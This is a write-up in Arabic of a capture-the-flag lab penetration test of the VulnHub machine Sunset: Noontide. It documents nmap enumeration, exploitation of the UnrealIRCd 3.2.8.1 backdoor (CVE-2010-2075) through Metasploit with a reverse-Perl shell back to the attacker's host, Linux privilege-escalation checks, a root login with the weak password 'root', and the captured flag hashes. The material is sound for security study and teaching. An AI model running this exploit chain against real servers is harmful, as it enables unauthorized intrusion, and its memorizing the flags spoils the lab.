
وصف تقييم اختبار اختراق احترافي لجهاز Sunset: Noontide VulnHub، يغطي الاستطلاع، وتعداد الخدمات، واستغلال CVE-2010-2075، وما بعد الاستغلال، ورفع الصلاحيات، واختراق النظام بالكامل.
تقييم احترافي لاختبار الاختراق وشرح تفصيلي لـ CTF لجهاز Sunset: Noontide، وهو جهاز معرّض للثغرات بشكل متعمد من VulnHub.
يوثّق هذا المشروع دورة حياة اختبار الاختراق الكاملة، بما في ذلك الاستطلاع، وتعداد الخدمات، والبحث عن الثغرات، والاستغلال، والوصول الأولي، وما بعد الاستغلال، ورفع الصلاحيات، وإثبات الاختراق، وتقييم المخاطر، وربط MITRE ATT&CK، والمعالجة.
⚠️ إخلاء المسؤولية: تم إجراء هذا التقييم ضد جهاز معرّض للثغرات بشكل متعمد في بيئة مختبرية مصرّح بها. التقنيات والأوامر الموثّقة هنا مخصصة فقط للأنظمة التي تم الحصول على تصريح صريح بشأنها.
| المكوّن | التفاصيل |
|---|---|
| الهدف | Sunset: Noontide |
| المنصة | VulnHub |
| عنوان IP الهدف | 10.106.186.186 |
| اسم المضيف الهدف | noontide |
| نظام تشغيل الهدف | Debian GNU/Linux 10 (Buster) |
| المعمارية | x86_64 |
| منصة المهاجم | Kali Linux |
| عنوان IP المهاجم | 10.106.186.204 |
| نوع التقييم | تقييم مختبري مصرّح به |
| المخاطر الإجمالية | حرجة |
| نتيجة التقييم | اختراق كامل للنظام |
اكتشاف الهدف → تعداد Nmap → تحديد UnrealIRCd 3.2.8.1 → SearchSploit → تحديد CVE-2010-2075 → الاستغلال عبر Metasploit → shell أوامر عن بُعد → shell باسم server → ما بعد الاستغلال على Linux → بيانات اعتماد root ضعيفة → su root → UID 0 / وصول root → ملفات إثبات المستخدم و root
تم إجراء اكتشاف الشبكة الأولي لتحديد الهدف المعرّض للثغرات.
تم تحديد الهدف في النهاية على أنه:
10.106.186.186
أثناء الاستطلاع، تم تحديد 10.106.186.142 على أنه البوابة الافتراضية وليس الهدف المقصود.
وهذا يبرز أهمية تحديد الهدف بشكل صحيح قبل إجراء المزيد من الاختبارات الأمنية، خاصة في شبكة مختبرية جسرية أو مشتركة.
تم إجراء اكتشاف الخدمات والإصدارات عبر Nmap ضد الهدف باستخدام:
nmap -sV 10.106.186.186
كانت الخدمة المكشوفة المهمة التي تم تحديدها أثناء التقييم هي:
6667/tcp open irc UnrealIRCd
ثم تم إجراء فحص أكثر تفصيلاً باستخدام:
nmap -sC -sV -Pn -p 6667 10.106.186.186
تم تحديد الخدمة على أنها:
UnrealIRCd 3.2.8.1
كما أبلغت خدمة IRC عن:
irc.foonet.com
أصبحت خدمة UnrealIRCd المكشوفة سطح الهجوم الأساسي الذي تم التحقيق فيه أثناء التقييم.
تم استخدام SearchSploit للتحقيق في الثغرات الموثّقة علنًا والمرتبطة بإصدار UnrealIRCd المكتشف.
الأمر:
searchsploit UnrealIRCd 3.2.8.1
كانت النتيجة ذات الصلة:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
تم تحديد الثغرة على أنها:
CVE-2010-2075
تنفيذ أوامر عبر باب خلفي في UnrealIRCd 3.2.8.1
حرجة
تنفيذ أوامر عن بُعد
يتيح الاستغلال الناجح للخدمة المعرّضة للثغرات للمهاجم تنفيذ أوامر عن بُعد على النظام الهدف.
تم استغلال خدمة IRC المعرّضة للثغرات باستخدام إطار عمل Metasploit.
كانت الوحدة المختارة:
exploit/unix/irc/unreal_ircd_3281_backdoor
مثال على الإعداد:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
لم تُنتج محاولات الحمولة الأولية جلسة قابلة للاستخدام.
تم بعد ذلك اختيار حمولة Unix reverse-Perl متوافقة:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
أبلغ Metasploit أن الهدف يبدو معرّضًا للثغرات وفتح بنجاح جلسة shell أوامر.
تم التحقق من الـ shell الذي تم الحصول عليه باستخدام:
whoami
النتيجة:
server
أكّد ذلك نجاح تنفيذ الأوامر عن بُعد باسم حساب server.
كان دليل العمل الأولي:
/home/server/irc/Unreal3.2
في هذه المرحلة، انتقل التقييم من استغلال الخدمة عن بُعد إلى تعداد ما بعد الاستغلال المحلي.
بعد الحصول على الـ shell، تم إجراء تعداد Linux القياسي لفهم المضيف المخترق وتحديد مسارات رفع الصلاحيات المحتملة.
الأمر:
id
النتيجة:
uid=1000(server) gid=1000(server)
كان الحساب مستخدمًا غير root.
الأمر:
hostname
النتيجة:
noontide
الأمر:
uname -a
النتيجة:
Linux noontide 4.19.0-10-amd64 x86_64
الأمر:
cat /etc/os-release
النتيجة:
Debian GNU/Linux 10 (buster)
أنشأت هذه الأوامر الهوية الحالية، واسم المضيف، وإصدار النواة، ونظام التشغيل، والتكوين العام للنظام.
تم إجراء عدة فحوصات قياسية لرفع الصلاحيات على Linux.
الأمر:
find / -perm -4000 -type f 2>/dev/null
تم تحديد ملفات SUID القياسية مثل passwd و chsh و mount و umount و su و chfn و newgrp و gpasswd.
لم يتم تحديد أي ملف SUID مخصص أو شاذ بشكل واضح كمتجه ناجح لرفع الصلاحيات.
الأمر:
sudo -l
لم يتم تحديد أي مسار مفيد لرفع الصلاحيات عبر sudo من المخرجات المتاحة.
الأوامر:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
كانت المهام المجدولة الملاحظة مهام نظام قياسية بنمط Debian.
لم يتم تحديد أي مهمة cron تابعة لـ root قابلة للكتابة بشكل واضح.
الأمر:
find / -writable -type f 2>/dev/null | head -100
كانت النتائج الأولية في الأساس ملفات pseudo ضمن /proc ولم تكشف عن متجه عملي لرفع الصلاحيات.
الأمر:
getcap -r / 2>/dev/null
لم يتم تحديد أي رفع صلاحيات مفيد قائم على القدرات من المخرجات الناتجة.
استند مسار رفع الصلاحيات الناجح إلى بيانات اعتماد root الضعيفة بشكل متعمد والمكوّنة على الجهاز المعرّض للثغرات.
تم الوصول إلى حساب root باستخدام:
su root
كلمة المرور:
root
ثم تم التحقق من وصول root باستخدام:
id
النتيجة:
uid=0(root) gid=0(root) groups=0(root)
كما تم تأكيد الهوية باستخدام:
whoami
النتيجة:
root
أكّد ذلك السيطرة الإدارية الكاملة على النظام الهدف.
كان ملف الإثبات على مستوى المستخدم موجودًا في:
/home/server/local.txt
الأمر:
cat /home/server/local.txt
النتيجة:
c53c08b5bf2b0801c5d0c24149826a6e
كان ملف الإثبات على مستوى root موجودًا في:
/root/proof.txt
الأمر:
cat /root/proof.txt
النتيجة:
ab28c8ca8da1b9ffc2d702ac54221105
كما أعاد إثبات root:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
يؤكد استرداد كلا ملفي الإثبات نجاح الاختراق من الوصول الأولي عن بُعد وصولاً إلى السيطرة بمستوى root.
| المعرّف | النتيجة | الخطورة | التأثير |
|---|---|---|---|
| VULN-01 | باب خلفي في UnrealIRCd 3.2.8.1 | 🔴 حرجة | تنفيذ أوامر عن بُعد |
| VULN-02 | بيانات اعتماد root ضعيفة | 🔴 حرجة | اختراق إداري كامل |
الخطورة: حرجة
الخدمة المتأثرة: IRC / TCP 6667
البرمجية المتأثرة: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
نوع الهجوم: تنفيذ أوامر عن بُعد
التأثير الملاحظ: الحصول على shell عن بُعد باسم server
كانت خدمة UnrealIRCd المكشوفة تعمل بإصدار معرّض للثغرات مرتبط بثغرة تنفيذ أوامر عبر باب خلفي معروفة.
تم تحديد الثغرة من خلال تعداد الخدمات والبحث في SearchSploit، وتم استغلالها بنجاح باستخدام Metasploit.
يمكن للمهاجم القادر على الوصول إلى خدمة IRC المعرّضة للثغرات تنفيذ أوامر عن بُعد والحصول على وصول غير مصرّح به إلى المضيف.
الخطورة: حرجة
الحساب المتأثر: root
بيانات الاعتماد الملاحظة: root / root
التأثير الملاحظ: وصول إداري بـ UID 0
تم تكوين حساب root ببيانات اعتماد ضعيفة للغاية.
بعد الحصول على shell محلي باسم server، تم الوصول إلى حساب root باستخدام بيانات الاعتماد الضعيفة وتم التحقق منها بـ UID 0.